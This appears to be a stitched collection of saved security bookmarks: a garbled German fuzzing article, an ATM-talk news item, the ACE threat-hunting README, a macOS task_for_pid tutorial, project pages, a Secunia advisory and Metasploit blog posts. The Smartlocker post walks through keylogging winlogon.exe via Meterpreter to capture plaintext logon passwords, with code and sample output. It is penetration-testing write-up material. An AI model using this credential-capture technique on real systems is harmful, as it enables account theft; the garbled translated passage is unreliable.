    Wie man sehen kann, bewirkt die Ausführung Prozess unter Kontrolle des PIN etwa eine Verzehnfachung der Leistung in den Tests zu verringern. Allerdings wird der Rückgang der Leistung weniger bedeutend mit zunehmender Anzahl von Iterationen. Der Grund dafür liegt wahrscheinlich in dem Prinzip der dynamischen Kompilierung: die hohen Overhead-Kosten sind nur erforderlich, wenn ein Stück Code zum ersten Mal ausgeführt wird, und dessen erneute Ausführung erfordert viel weniger CPU-Zeit.  
      
    
    
[/code]

### Ähnliche Entwicklung

[code]

    PIN ist nicht der einzige Frameworks wie ein solcher Plan gibt es auch Entwicklung genannt DynamoRIO , welcher Hinsicht ähnlich wie die PIN in allen. Als die wichtigsten Vorteile DynamoRIO können eine höhere Leistung sowie ein völlig offenes unter der BSD-Lizenz im Quelltext. Doch die aktuelle Version DynamoRIO Fragen hat einige Stabilität - habe ich es geschafft nicht zu erreichen PIN seiner normalen Arbeit an Windows 7, auf dem Grund fiel die Wahl.  
      
    Daten über die vergleichende Leistung der beiden Frameworks lassen: GoVirtual gefunden in einer Notiz an C Performance-Vergleich von DynamoRIO und Pin .  
      
    
    
[/code]

### Schlussfolgerungen

[code]

    Abschließend ist anzumerken, dass die Verwendung von PIN sofort während gerechtfertigt Fuzzing nur, wenn jeder Iteration fazzera nicht zur Schaffung einer neuen Studie über die Anwendung. In allen anderen Fällen (wählen Sie einen Datensatz, der die maximale Deckungssumme in der normalen Leistung bringt) die Verwendung von Code-Coverage-Analyse auf Basis der PIN ratsam nur bei der Auswahl von Testdaten, mit denen Mutationen fazzer zu arbeiten.  
      
    Code Coverage Analysis Tools sind zum Download verfügbar auf der Projektseite bei GitHub .  
    
    
[/code]

# Juniper pulls talk on ATM vulnerabilities

**Created:**| _7/2/2009 4:26:20 PM_  
---|---  
**Updated:**| _7/2/2009 4:26:29 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  
Juniper pulls talk on ATM vulnerabilities  
Published: 2009-07-01  
  

Networking giant Juniper canceled a presentation on ATM vulnerabilities
scheduled to be given by one of its researchers at the Black Hat Security
Conference later this month.

The talk, which would have revealed flaws in the automated teller machines
\(ATM\) of an undisclosed vendors, will be postponed until the vulnerabilities
are fixed, Juniper said in a statement. The original description of the
presentation stated that the researcher, Barnaby Jack, would "retrace the
steps I took to interface with, analyze, and find a vulnerability in a line of
popular new model ATMs," and would "explore both local and remote attack
vectors, and finish with a live demonstration of an attack on an unmodified,
stock ATM."

On Monday, Juniper announced that it would not allow the presentation to go
forward, at the request of the affected vendor.

"The vulnerability Barnaby was to discuss has far reaching consequences, not
only to the affected ATM vendor, but to other ATM vendors and — ultimately —
the public," Brendan P. Lewis, director of corporate social media relations,
said in a statement posted to the Juniper blog. "To publicly disclose the
research findings before the affected vendor could properly mitigate the
exposure would have potentially placed their customers at risk. That is
something we don't want to see happen."

Cash machines have increasingly been targeted by hackers and cybercriminals.
In March, security firm Sophos uncovered malware specifically written for
Diebold ATM devices, which was found on a number of machines in Russia. The
security firm stated at the time that the malicious software had been created
as early as November 2008.

Diebold warned customers as early as January, according to reporting by IDG
News, and provided a software patch for customers.

"Diebold continually emphasizes the customers’ role in reducing the risk of
attacks by following industry-standard security procedures related to managing
physical access to ATMs, password management and software updates," the
company stated in a cover letter that accompanied the advisory about the
issue.

_If you have tips or insights on this topic, pleasecontact SecurityFocus._

# Cr4sh/Code-coverage-analysis-tools - GitHub

**Created:**| _3/31/2011 8:55:59 AM_  
---|---  
**Updated:**| _3/31/2011 8:56:18 AM_  
**Author:**| __  
**Tags:**| _bookmark C++ binary instrumentation programming awesome_  
  

# Cr4sh / **Code-coverage-analysis-tools**

# Invoke-IR/ACE

**Created:**| _9/4/2017 9:42:36 AM_  
---|---  
**Updated:**| _9/4/2017 9:42:36 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# Automated Collection and Enrichment

The Automated Collection and Enrichment \(ACE\) platform is a suite of tools
for threat hunters to collect data from many endpoints in a network and
automatically enrich the data. The data is collected by running scripts on
each computer without installing any software on the target. ACE supports
collecting from Windows, macOS, and Linux hosts.

ACE is meant to simplify the process of remotely collecting data across an
environment by offering credential management, scheduling, centralized script
management, and remote file downloading. ACE is designed to complement a SIEM
by collecting data and enriching data; final analysis is best suited for SIEM
tools such as Splunk, ELK, or the tools the analyst prefers.

## Why use ACE?

ACE grew out of the need to perform Compromise Assessments in places with
common restrictions:

  * A dedicated software agent can’t be installed on the target hosts.
  * Copying and running executables \(such as Sysinternals tools\) is not feasible.
  * The customer cannot enable Windows Remoting \(WinRM\).
  * The customer’s visibility into macOS/Linux hosts is limited or nonexistent.
  * New scripts/tools must be created for customer-specific data.
  * Network segmentation requires multiple credentials to access all machines in the environment.

## Installation/What is the architecture of ACE?

ACE has three components: the ACE Web Service, the ACE SQL database, and the
ACE RabbitMQ message queue. The Web Service is a RESTful API that takes
requests from clients to schedule and manage scans. The SQL database stores
the configuration and data from scans. The RabbitMQ service handles automated
enrichment of data.

Each of the services can be deployed on separate machines, or all on a single
server. You can use the provided Docker images to easily deploy premade ACE
services.

## Usage/How do I use ACE?

The ACE repository includes a collection of PowerShell scripts to interact
with the ACE Web Service, including adding users, managing credentials,
uploading collection scripts, and scheduling scans.

After deploying the ACE servers, use **New-AceUser** to create a new ACE user.

Remove the default “Admin” user with **Remove-AceUser**.

Use **New-AceCredential** to enter a set of credentials.

Run **Start-AceDiscovery** to automatically find computers on the Windows
domain.

Run **Start-AceSweep** to start a sweep to run the selected scripts across the
discovered endpoints.

## How do I add scripts to ACE?

ACE Scripts should be self-contained scripts to collect data. They should
return JSON object with the data to be collected. You can use ConvertTo-JsonV2
cmdlet in ACE to convert PSObjects into JSON objects in a PowerShell V2
compatible way.

We recommend PSReflect to access the Native/Win32 API in-memory in a
PowerShell V2 compatible way. See Get-InjectedThread for a usage example.

Use New-ACEScript to upload a new script to ACE. The new script can be added
to existing scheduled sweeps or incorporated into new sweeps.

\[script design considerations\]

## What targets are supported by ACE?

The included collection scripts are designed to be PowerShell V2+ and Python
2.7 compatible, and should work on Windows 7/Server 2008 R2 and newer, and
most versions of macOS and Linux.

## More Resources

  * ACE GitHub Wiki
  * ACE BlackHat Arsenal slides

Contributing Contributions to ACE are always welcome.

  

# Mac OS X and task\_for\_pid\(\) mach call « Ivan's tech diary

**Created:**| _11/26/2010 9:22:58 AM_  
---|---  
**Updated:**| _11/26/2010 9:23:33 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Mac-hacking
projects_  
  

# Ivan's tech diary

## February 17, 2010

### Mac OS X and task\_for\_pid\(\) mach call

Filed under: Mac OS X — Tags: OSX — admin @ 22:07

If you never heard of mach system calls and specifically task\_for\_pid\(\)
call on Mac OS X, you can consider yourself lucky. If you want to stay that
way – stop reading now\! Still here? In that case let’s start with disclaimer
– author of this text is not and can not be in any way responsible for damage
produced or influenced by this article.

Prior to the Mac OS X 10.4.X \(Tiger\), it was completely legal for one
process to control another for the purpose of influencing its execution
\(single stepping, resuming, stopping etc\) and inspecting or modifying its
memory and registers. In one of the patches for Tiger, this policy was changed
so that only a process owned by root or with a “primary effective group of
procmod or procview” has this privilege. In Leopard \(Mac OS X 10.5\), this
policy was changed again \(that much about consistent security policy – nice
work Apple\) such that an inspector process now depends on the security
framework to authorize use of the task\_for\_pid system service which gives a
process the capability to control another process.

To build a utility that will use task\_for\_pid\(\), you need to do the
following:

1\) Create Info.plist file which will be embedded to your executable file and
will enable code signing  
2\) Create self-signed code signing certificate using Keychain access  
3\) Write your program that uses security framework to obtain rights to
execute task\_for\_pid\(\)  
4\) Compile your program and code-sign it.

So let’s get started.

**Step 1 – Create Info.plist**

I used one of the standard Info.plist files I could find in Xcode and changed
some particular parts as can be seen in following example:

[code]

    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
    &lt;!DOCTYPE plist PUBLIC &quot;-//Apple Computer//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;
    &lt;plist version=&quot;1.0&quot;&gt;
    &lt;dict&gt;
            &lt;key&gt;CFBundleDevelopmentRegion&lt;/key&gt;
            &lt;string&gt;English&lt;/string&gt;
            &lt;key&gt;CFBundleIdentifier&lt;/key&gt;
            &lt;string&gt;net.os-tres.tfpexample&lt;/string&gt;
            &lt;key&gt;CFBundleInfoDictionaryVersion&lt;/key&gt;
            &lt;string&gt;6.0&lt;/string&gt;
            &lt;key&gt;CFBundleName&lt;/key&gt;
            &lt;string&gt;tfpexample&lt;/string&gt;
            &lt;key&gt;CFBundleVersion&lt;/key&gt;
            &lt;string&gt;1.0&lt;/string&gt;
            &lt;key&gt;SecTaskAccess&lt;/key&gt;
            &lt;array&gt;
              &lt;string&gt;allowed&lt;/string&gt;
            &lt;/array&gt;
    &lt;/dict&gt;
    &lt;/plist&gt;
    
    
[/code]

The important part is key “SecTaskAccess” with value “allowed”.

**Step 2 – Create self-signed code signing certificate**

Open your Keychain Access and do the following:

<img src='img/Temp2_5064.png' alt='Step 1' />

<img src='img/Temp2_5066.png' alt='Step 2' />

<img src='img/Temp2_5061.png' alt='Step 3' />

<img src='img/Temp2_5063.png' alt='Step 4' />

<img src='img/Temp2_5062.png' alt='Step 5' />

<img src='img/Temp2_5060.png' alt='Step 6' />

<img src='img/Temp2_5065.png' alt='Step 7' />

When created – this certificate will be untrusted by default – change “When
using this certificate” to “Always Trust” and you should be OK and ready to go
for the next step.

**Step 3 – Write your program**

I wrote a very simple program that takes PID of a process you want to
investigate \(ran by your UID\), connects to it and writes current register
values for it. Code is pretty self-explaining so I won’t go into nifty
details:

[code]

    #include &lt;stdio.h&gt;
    #include &lt;unistd.h&gt;
    #include &lt;sys/types.h&gt;
    #include &lt;sys/ptrace.h&gt;
    #include &lt;mach/mach.h&gt;
    #include &lt;errno.h&gt;
    #include &lt;stdlib.h&gt;
    #include &lt;Security/Authorization.h&gt;
    
    int acquireTaskportRight() {
    
      OSStatus stat;
      AuthorizationItem taskport_item[] = {{&quot;system.privilege.taskport&quot;}};
      AuthorizationRights rights = {1, taskport_item}, *out_rights = NULL;
      AuthorizationRef author;
      int retval = 0;
    
      AuthorizationFlags auth_flags =  kAuthorizationFlagExtendRights |  kAuthorizationFlagPreAuthorize | kAuthorizationFlagInteractionAllowed | ( 1 &lt;&lt; 5); 
    
      stat = AuthorizationCreate (NULL, kAuthorizationEmptyEnvironment,auth_flags,&amp;amp;author);
    
      if (stat != errAuthorizationSuccess) {
       return 0;
      }
    
      stat = AuthorizationCopyRights ( author,  &amp;amp;rights,  kAuthorizationEmptyEnvironment, auth_flags,&amp;amp;out_rights);
    
      if (stat != errAuthorizationSuccess) {
        printf(&quot;fail&quot;);
          return 1;
      }
      return 0;
    }
    
    void check(int cond, char* msg) {
      if (!cond) {
        printf(&quot;%s\n&quot;, msg);
        exit(-1);
      }
    }
    
    int main() {
    
      int infoPid;
      kern_return_t kret;
      mach_port_t task;
      thread_act_port_array_t threadList;
      mach_msg_type_number_t threadCount;
      x86_thread_state32_t state;
    
      printf(&quot;Enter pid: \n&quot;);
      scanf(&quot;%d&quot;,&amp;amp;infoPid);
    
      if (acquireTaskportRight()!=0) {
        printf(&quot;acquireTaskportRight() failed!\n&quot;);
        exit(0);
      } 
    
      kret = task_for_pid(mach_task_self(), infoPid, &amp;amp;task);
    
      if (kret!=KERN_SUCCESS) {
        printf(&quot;task_for_pid() failed with message %s!\n&quot;,mach_error_string(kret));
        exit(0);
      }
    
      kret = task_threads(task, &amp;amp;threadList, &amp;amp;threadCount);
    
      if (kret!=KERN_SUCCESS) {
        printf(&quot;task_threads() failed with message %s!\n&quot;,mach_error_string(kret));
        exit(0);
      }
    
      mach_msg_type_number_t stateCount = x86_THREAD_STATE32_COUNT;
    
      kret = thread_get_state( threadList[0],
                               x86_THREAD_STATE32,
                               (thread_state_t)&amp;amp;state,
                               &amp;amp;stateCount);
    
      if (kret!=KERN_SUCCESS) {
        printf(&quot;thread_get_state() failed with message %s!\n&quot;,mach_error_string(kret));
        exit(0);
      }
    
      printf(&quot;Thread %d has %d threads. Thread 0 state: \n&quot;, infoPid, threadCount);
      printf(&quot;EIP: %lx\nEAX: %lx\nEBX: %lx\nECX: %lx\nEDX: %lx\nSS: %lx\n&quot;,state.__eip,state.__eax,state.__ebx,state.__ecx,state.__edx,state.__ss);
    
      return 0;
    }
    
    
[/code]

**Step 4 – Compile and sign**

To compile the program I used following command line:

gcc tfpexample.c -sectcreate \_\_TEXT \_\_info\_plist ./Info.plist -o
tfpexample -framework Security -framework CoreFoundation

To sign the code with certificate we prepared before – do this:

codesign -s tfpexample ./tfpexample

We can check if everything went OK:

\[ivan\]~/hoby/debuger/blog-tfp > **codesign -dvvv ./tfpexample**  
Executable=/Users/ivan/hoby/debuger/blog-tfp/tfpexample  
Identifier=net.os-tres.tfpexample  
Format=Mach-O thin \(i386\)  
CodeDirectory v=20001 size=187 flags=0×0\(none\) hashes=4+2 location=embedded  
CDHash=30c98f962fc9a2b1a2f73cff55d4584bd053aa3a  
Signature size=1454  
Authority=tfpexample  
Signed Time=Feb 17, 2010 8:40:04 PM  
Info.plist entries=6  
Sealed Resources=none  
Internal requirements count=0 size=12

This looks good – let’s test it.

**Step 5 – Test program**

\[ivan\]~/hoby/debuger/blog-tfp >  
\[ivan\]~/hoby/debuger/blog-tfp > ps  
PID TTY TIME CMD  
2511 ttys000 0:00.02 -zsh  
2104 ttys001 0:00.08 -zsh  
\[ivan\]~/hoby/debuger/blog-tfp >  
\[ivan\]~/hoby/debuger/blog-tfp > ./tfpexample  
Enter pid:  
2104  
Thread 2104 has 1 threads. Thread 0 state:  
EIP: 953d1562  
EAX: 4006f  
EBX: 2ad74  
ECX: bffff9cc  
EDX: 953d1562  
SS: 1f  
\[ivan\]~/hoby/debuger/blog-tfp >

That’s it for this post…until next one bb.

# rCUDA | HPCA
**Created:**| _11/18/2010 5:55:30 PM_  
---|---  
**Updated:**| _11/18/2010 5:55:39 PM_  
**Author:**| __  
**Tags:**| _bookmark cuda_  
  

# rCUDA

### Introduction

We are happy to announce the public release of rCUDA 1.0. It has been
developed in a joint collaboration with the Parallel Architectures Group from
the Technical University of Valencia.  
The rCUDA framework enables the concurrent usage of CUDA-compatible devices
remotely.  
rCUDA employs the socket API for the communication between clients and
servers. Thus, it can be useful in three different environments:

  * Clusters. To reduce the number of GPUs installed in High Performance Clusters. This leads to energy savings, as well as other related savings like acquisition costs, maintenance, space, cooling, etc.
  * Academia. In commodity networks, to offer access to a few high performance GPUs concurrently to many students.
  * Virtual Machines. To enable the access to the CUDA facilities on the physical machine.

The current version of rCUDA \(v1.0.3\) implements all functions in the CUDA
Runtime API version 2.3, excluding OpenGL and Direct3D interoperability. rCUDA
1.0 targets the Linux OS \(for 32- and 64-bit architectures\) on both client
and server sides.  
Currently, rCUDA-ready applications have to be programmed using the plain C
API. In addition, host and device code need to be compiled separately. Find
code examples in the rCUDA SDK package, based on the official SDK 2.3. For
further information, refer to the rCUDA User's Guide.  
If you are interested in evaluating rCUDA, please proceed to the Software
request form page.  
The rCUDA team will be glad to send you a copy of the software at no cost. The
framework is free for any purpose under the terms and conditions of the GNU
GPL/LGPL \(where applicable\) licenses.  
For further information, please refer to the papers listed in the developer's
personal webpage.

### The rCUDA Team

Management:

  * José Duato, and Federico Silla. Grupo de Arquitecturas Paralelas. Departamento de Informática de Sistemas y Computadores. Universidad Politécnica de Valencia. Spain.
  * Rafael Mayo, and Enrique S. Quintana-Ortí. High Performance Computing and Architectures Group. Departamento de Ingeniería y Ciencia de los Computadores. Universidad Jaume I. Castellón, Spain.

Development:

  * Antonio J. Peña. Grupo de Arquitecturas Paralelas. Departamento de Informática de Sistemas y Computadores. Universidad Politécnica de Valencia. Spain.

Other contributions:

  * Francisco D. Igual. High Performance Computing and Architectures Group. Departamento de Ingeniería y Ciencia de los Computadores. Universidad Jaume I. Castellón, Spain.

# Golevka/emacs-clang-complete-async · GitHub

**Created:**| _2/1/2013 10:21:27 AM_  
---|---  
**Updated:**| _2/1/2013 10:21:27 AM_  
**Author:**| __  
**Tags:**| _Emacs llvm_  
  

# Introduction

emacs-clang-complete-async is an emacs extension to complete C and C++ code,
it uses libclang to parse the source code on the fly and provides completion
candidates to auto-complete \(http://cx4a.org/software/auto-complete\).

<img src='https://github.com/Golevka/emacs-clang-complete-
async/raw/master/screenshots/showcase.png' />

This extension is not implemented in pure elisp, it is made up of a client
part \(auto-complete-clang-async.el, written in elisp\) and a server part
\(clang-complete binary, written in C\), they work cooperately in asynchonous
client-server fashion.

#  Experimental Feature - On the fly syntax checking

An experimental feature is added to this branch — running `ac-clang-syntax-
check` to highlight errornous lines in your souce code.

<img src='https://github.com/Golevka/emacs-clang-complete-
async/raw/master/screenshots/syntax_check.png' />

#  Setup

Compile the server part \(clang-complete binary\) first by executing `make`,
then copy auto-complete-clang-async.el and the previously compiled clang-
complete executable to ~/.emacs.d/, and add the following code to your .emacs
file.

[code]

    (require 'auto-complete-clang-async)
    
    (defun ac-cc-mode-setup ()
      (setq ac-clang-complete-executable "~/.emacs.d/clang-complete")
      (setq ac-sources '(ac-source-clang-async))
      (ac-clang-launch-completion-process)
    )
    
    (defun my-ac-config ()
      (add-hook 'c-mode-common-hook 'ac-cc-mode-setup)
      (add-hook 'auto-complete-mode-hook 'ac-common-setup)
      (global-auto-complete-mode t))
    
    (my-ac-config)
    
[/code]

Now emacs-clang-complete-async will show completion candidates automatically
when you type as usual in C or C++ mode.

#  Usage

This extension fades in emacs C/C++ mode and provides candidates automatically
while you typing code, if you want to add parameters to clang \(libclang,
actually\), such as -Ipath, just call ac-clang-set-cflags interactively or set
the value of ac-clang-flags in .emacs or .dir-locals.el, maybe you need an
explicit call to ac-clang-update-cmdlineargs to make changes to cflags take
effect, which is a niggling part of it T T

#  Note

Most code of auto-complete-clang-async.el is taken from brainjcj’s auto-
complete-clang.el, The only difference between this one and bj’s ac-clang-
complete is: This one interacts with a process geared with libclang to
retrieve completion candidates instead of calling clang process, which is way
slower, and the asynchonous nature of our C-S based working model won’t block
the editor while parsing source code and resolving completion candidates,
which provides a “smooth” coding experience.

# You can type, but you cannot hide: a stealthy GPU-based Keylogger

**Created:**| _9/27/2013 12:20:28 PM_  
---|---  
**Updated:**| _9/27/2013 12:20:53 PM_  
**Author:**| _wishi_  
**Tags:**| _GPU system analysis_  
  
<img src='img/gpukeylogger.eurosec13.pdf' />

# Metasploit: Capturing Windows Logons with Smartlocker

**Created:**| _12/14/2010 9:08:46 AM_  
---|---  
**Updated:**| _12/14/2010 9:09:04 AM_  
**Author:**| __  
**Tags:**| _attacks windows security hashes Metasploit windows environment_  
  

### Capturing Windows Logons with Smartlocker

Oftentimes during a penetration test engagement, a bit of finesse goes a long
way. One of the most effective ways to capture the clear-text user password
from a compromised Windows machine is through the "keylogrecorder" Meterpreter
script. This script can migrate into the winlogon.exe process, start capturing
keystrokes, and then lock the user's desktop \(the -k option\). When the user
enters their password to unlock their desktop, you now have their password.
This, while funny and effective, can raise undue suspicion, especially when
conducted across multiple systems at the same time. A smarter approach is to
wait for a predetermined amount of idle time before locking the screen.  
  
Enter Smartlocker. Smartlocker is a Meterpreter script written by CG and mubix
that is similar to keylogrecorder \(some code was even copied directly from
it, thank you Carlos\). But, unlike keylogrecorder, Smartlocker is designed to
use a lighter touch when it comes to obtaining the user's password. Unlike
keylogrecorder, Smartlocker is solely focused on obtaining passwords from
winlogon.exe. Since winlogon only sees the keystrokes that happen when a login
occurs, the resulting log file only contains the username and password.
Perfect, right?  
  
Smartlocker addressed three shortcomings with using keylogrecorder to capture
login credentials.  
  

>  
>  1\. If there are two winlogon processes on the machine, keylogrecorder will
> migrate into one, and then the other, many times rendering your meterpreter
> session dead or otherwise unusable. While this is a corner case, I have come
> across it during penetration tests, and its something that will be addressed
> in an upcoming fix to keylogrecorder. The other problem when there are two
> winlogon processes is that you can’t be sure which process you need to be in
> to be capture the active user's password.  
>  
>  2\. The user is locked out instantly if the "-k" option is selected. While
> 80% of the target users may barely flinch at this, it will certainly stand
> out as odd behavior. This behavior will be even more suspicious if the user
> just opened an attachment or browsed to something they shouldn't have. That
> extra bit of "weirdness" may push them to make that help desk call...not
> good.  
>  
>  3\. You have to jump through hoops to identify when the user has logged
> back in. One way to do this is through screen captures, but this is a manual
> and time intensive process. Idle time is also an imperfect marker as a user
> might have pushed the mouse by accident.  
>
  
  
Smartlocker does it’s best to solve these issues.  
  
Fade to cube farm...  
  
John Doe is a graphic designer for ACME Co. He just clicked your link and was
kind enough to give you a reverse Meterpreter session. You’ve looked around
John’s system and found nothing of interest except for learning that John is a
SharePoint admin on the local MS SharePoint server. SMB isn’t working, so you
decide to go after SharePoint itself and you need John’s actual password for
this task. But John is smart \(or thought he was before he still clicked your
link\), his password is 25 characters, making it difficult to crack from
dumping the MS Cache hash value.  
  
Smartlocker’s options:  
  
  
Usage:  
OPTIONS:  
  
-b Heartbeat time between idle checks. Default is 30 seconds.  
-h Help menu.  
-i Idletime to wait before locking the screen automatically. Default 300 seconds \(5 minutes\).  
-p Target PID - used when multiple Winlogon sessions are present.  
-t Time interval in seconds between recollection of keystrokes, default 30 seconds.  
  
  
A quick check to see if John’s computer is set to lock out automatically:  
  
  
meterpreter > getuid  
Server username: ACME\johnd  
meterpreter > reg queryval -k "HKCU\\\Control Panel\\\Desktop" -v
ScreenSaverIsSecure  
Key: HKCU\Control Panel\Desktop  
Name: ScreenSaverIsSecure  
Type: REG\_SZ  
Data: 0  
  
And it isn’t, so we’ll be going with Smartlocker’s default setting, which is a
time based approach. The script checks to see if the target user account is an
administrator and if so, finds all the winlogon processes running on John’s
box. Since there is only one, Smartlocker automatically migrates to it and
starts listening for keystrokes.  
  
The following code polls the idle time of John’s box every $heartbeat seconds
until the actual idle time reaches the $idletime threshold and then force-
locks John’s box:  
  
currentidle = session.ui.idle\_time  
print\_status\("System has currently been idle for \#\{currentidle\}
seconds"\)  
while currentidle <= idletime do print\_status\("Current Idletime:
\#\{currentidle\} seconds"\)  
sleep\(heartbeat\) currentidle = session.ui.idle\_time end
client.railgun.user32.LockWorkStation\(\)  
  
This is where it basically just runs Carlos’ code and starts the keylogger,
pulling the keystrokes out of memory every $heartbeat seconds. But, the cool
part is, before it wraps back around to keep keylogging, it does a check to
see if the user has logged back in. GetForegroundWindow is a Windows API call
utilized through railgun which is process specific, and in winlogon’s case, it
is only ever non-zero when the computer is locked or logged out. So a pretty
simple IF statement stops the key logger automagically when it’s achieved its
goal.  
  
  
still\_locked = client.railgun.user32.GetForegroundWindow\(\)\['return'\] if
still\_locked == 0  
print\_status\("They logged back in\! Money time\!"\) raise 'win' end
sleep\(keytime.to\_i\) end  
rescue::Exception => e  
if e.message \!= 'win'  
print\("\n"\)  
print\_status\("\#\{e.class\} \#\{e\}"\)  
end  
print\_status\("Stopping keystroke sniffer..."\)  
session.ui.keyscan\_stop  
  
  
Here is the script in action on John’s box, you can even see where the idle
time went back down to 12 when John moved his mouse:  
  
meterpreter > run smartlocker  
\[\*\] Found WINLOGON at PID:644  
\[\*\] Migrating from PID:2532  
\[\*\] Migrated to WINLOGON PID: 644 successfully  
\[\*\] System has currently been idle for 12 seconds  
\[\*\] Current Idletime: 12 seconds  
\[\*\] Current Idletime: 42 seconds  
\[\*\] Current Idletime: 73 seconds  
\[\*\] Current Idletime: 12 seconds  
\[\*\] Current Idletime: 42 seconds  
\[\*\] Current Idletime: 72 seconds  
\[\*\] Current Idletime: 103 seconds  
\[\*\] Current Idletime: 133 seconds  
\[\*\] Current Idletime: 164 seconds  
\[\*\] Current Idletime: 194 seconds  
\[\*\] Current Idletime: 224 seconds  
\[\*\] Current Idletime: 255 seconds  
\[\*\] Current Idletime: 285 seconds  
\[\*\] Starting the keystroke sniffer...  
\[\*\] Keystrokes being saved in to
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.155\_20101101.2157.txt  
\[\*\] Recording  
\[\*\] They logged back in\! Money time\!  
\[\*\] Stopping keystroke sniffer...  
meterpreter > background  
msf > cat
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.155\_20101101.2157.txt  
\[\*\] exec: cat
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.155\_20101101.2157.txt  
design4life$uper12\#07\#76\!  
  
  
Now, with John’s password we login to the SharePoint server, drop an ASP web
shell, hook the local MS SQL database using the clear-text passwords found on
the box and get a Meterpreter binary going on the SharePoint server \[1\].  
  
\[1\] http://www.room362.com/blog/2010/5/7/0exploit-privilege-escalation.html  
  
Now we run Smartlocker again and this time it identifies multiple instances of
winlogon running, most likely because someone is using Remote Desktop to
access this system. One thing to note, for the session ID for each winlogon
instance, 0 is always the base console and any other number is some sort of
remote login. Session ID is not something you’ll get from Meterpreter’s "ps"
command so take note of which PID you are going to target.  
  
Quick note: Any windows system that is configured to only allow one active
‘session’ such as XP, Vista and Windows 7 actually records the login
keystrokes on Session 0 even though it creates a new winlogon instance, where
as systems with terminal services, like 2k,2k3,2k8, the keystrokes are
processed by each winlogon process respectively to their session.  
  
  
meterpreter > run smartlocker  
\[-\] Multiple WINLOGON processes found, run manually and specify pid  
\[-\] Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session  
\[\*\] Winlogon.exe - PID: 892 - Session: 0  
\[\*\] Winlogon.exe - PID: 415 - Session: 3  
  
  
Using the "-p" option with "415" as the PID of the winlogon instance we are
targeting \(since it’s a Windows 2008 server\), we run Smartlocker again, and
use the ‘-w’ option to simply wait for the user / admin to lock out their
session instead of locking it for them.  
  
  
meterpreter > run smartlocker -p 415 -w  
\[\*\] WINLOGON PID:415 specified. I'm trusting you..  
\[\*\] Migrating from PID:1788  
\[\*\] Migrated to WINLOGON PID: 415 successfully  
\[\*\] Waiting for user to lock their session out  
\[\*\] Session has been locked out  
\[\*\] Starting the keystroke sniffer...  
\[\*\] Keystrokes being saved in to
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.150\_20101101.5433.txt  
\[\*\] Recording  
\[\*\] They logged back in\! Money time\!  
\[\*\] Stopping keystroke sniffer...  
meterpreter > background  
msf > cat
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.150\_20101101.5433.txt  
\[\*\] exec: cat
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.150\_20101101.5433.txt  
M@sterD0mainAdm\!n221  
msf >  
  
  
Bingo\! Domain Admin. Not just that, but their clear-text password.

# Microsoft Windows win32k.sys Memory Corruption Vulnerability - Secunia.com

**Created:**| _1/3/2012 4:40:17 PM_  
---|---  
**Updated:**| _1/3/2012 4:40:17 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit LOLZ_  
  

**Description**  

A vulnerability has been discovered in Microsoft Windows, which can be
exploited by malicious people to potentially compromise a user's system.  
  
The vulnerability is caused due to an error in win32k.sys and can be exploited
to corrupt memory via e.g. a specially crafted web page containing an IFRAME
with an overly large "height" attribute viewed using the Apple Safari browser.  
  
Successful exploitation may allow execution of arbitrary code with kernel-mode
privileges.  
  
The vulnerability is confirmed on a fully patched Windows 7 Professional
64-bit. Other versions may also be affected.  

  

**Solution**  
No effective solution is currently available.  

**Provided and/or discovered by**  
webDEViL  
  
**Original Advisory**  
https://twitter.com/\#\!/w3bd3vil/status/148454992989261824  

**Deep Links**

# Room362.com - Blog - MSFConsole Prompt Fiddling

**Created:**| _10/10/2011 1:01:22 PM_  
---|---  
**Updated:**| _10/10/2011 1:01:22 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

## MSFConsole Prompt Fiddling

Sunday, October 9, 2011 at 2:20AM

In @carnal0wnage and my presentation at DerbyCon 2011 we talked about using
SCREEN and SCRIPT to keep connections live / use them across SSH sessions, and
log everything that happens. What we didn't cover is the fact that there isn't
a time stamp for those logs. Now, Metasploit has multiple ways of creating
logs:

cat ~/.msf4/logs/framework.log | This log automatically logs all of the error data that is great for trouble shooting when something is working, but doesn't record what you are doing inside of msfconsole  
---|---  
msf> spool ~/myclient.log| The spool command is great for logging output from
anything you do in either consoles or sessions, even when you drop to a shell.
My one gripe about this one is that it doesn't log the actual command you
issued.  
msf> set ConsoleLogging true  
msf> set LogLevel 5  
msf> set SessionLogging true  
msf> set TimestampOutput true | These combined essentially do the same thing as spool except that they go into different logs, but do actually log the command you issued  
Plenty of logging right? But none of them really 'log everything' and time
stamps are not a regular occurrence in them. Cool, but we need both. We've got
the 'log everything' with the Linux 'script' command, we just need a way to
inject time stamps into our log.

### **Enter the ever mutable 'msf >' prompt:**

  
A lesser known variable in MSFConsole is 'PROMPT'. You can set this pretty
much like any other OS can, however there are some metasploit specific things
you can add. Using a three letter abbreviation you can even add color to it.

For example lets add our hostname to our prompt:

  * **set PROMPT %H**

changes msf> to myattackmachine>

And you can combine and add things that you wish:

  * **set PROMPT %H Just more text %U**

changes the prompt to: myattackmachine Just more text mubix> \(%U is
username\)

For reference here are the other working % variables that I know of:

  * **%D = Current local directory \(not sure if this changes when in meterpreter or not for the victims dir, that would be cool\)**
  * **%H = Host name \(again, would be cool if this changed when in meterpreter\)**
  * **%J = Current number of jobs running**
  * **%L = Local IP \(makes it easy to remember what to put in LHOST\)**
  * **%S = Currently number of sessions open**
  * **%T = Time stamp**
  * **%U = Username \(yes, would be awesome if this changed in meterpreter too\)**

Now if you wanted to add colors to that, all you would do is use something
like %grn%T to make the time stamp green. You'll have to play around with the
color's names as I don't know them all. %red %blu %blk etc...

Combine all of that with script and you've got something awesome. I set my
PROMPT to:

  * **set PROMPT %T S:%S J:%J**
  * **1970-01-01 00:00:00 +0000 S:0 J:0 > **

This gives me the number of jobs and sessions and has the time stamp every
time I throw a command, so in my logs I can very easily narrow down the exact
